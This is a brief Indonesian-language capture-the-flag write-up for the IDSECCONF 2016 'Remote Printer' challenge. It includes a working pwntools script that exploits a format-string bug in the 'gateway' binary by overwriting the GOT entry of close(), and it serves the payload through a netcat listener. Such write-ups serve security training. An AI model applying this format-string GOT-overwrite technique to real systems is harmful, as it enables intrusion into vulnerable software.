IDSECCONF 2016 - Remote Printer (80 Points)
Masalah
Diberikan binary gateway
, eksploitasi server korban dan temukan informasi rahasia didalamnya!
Penyelesaian
Binary ini memiliki kelemahan format string yang bisa dieksploitasi.
Gunakan solver.py
sebagai attacker server.
import os
from pwn import *
EXPECTED = "%2712c%11$hnABCDEFGHIJKL\x38\x12\x60\x00\x00\x00\x00\x00"
FLAG = 0x00400a98 # <= 8 bytes
FLAG = 0x0a98 # <= 2 bytes
velf = ELF("./gateway")
p = ''
p += '%{}c%11$hn'.format(FLAG)
p += 'ABCDEFGHIJKL' # <= Junk bytes
p += p64(velf.got['close'])
assert p == EXPECTED
open('payload','w').write(p)
os.system('cat payload | nc -nvlp 51998')
$ python solver.py
Kemudian hubungkan klien gateway ke server yang diinginkan, misalkan 127.0.0.1:51998 dan simpan dalam berkas option
.
127.0.0.1
51998
Maka server korban bisa dieksploitasi saat menjalankan perintah ini:
./gateway < options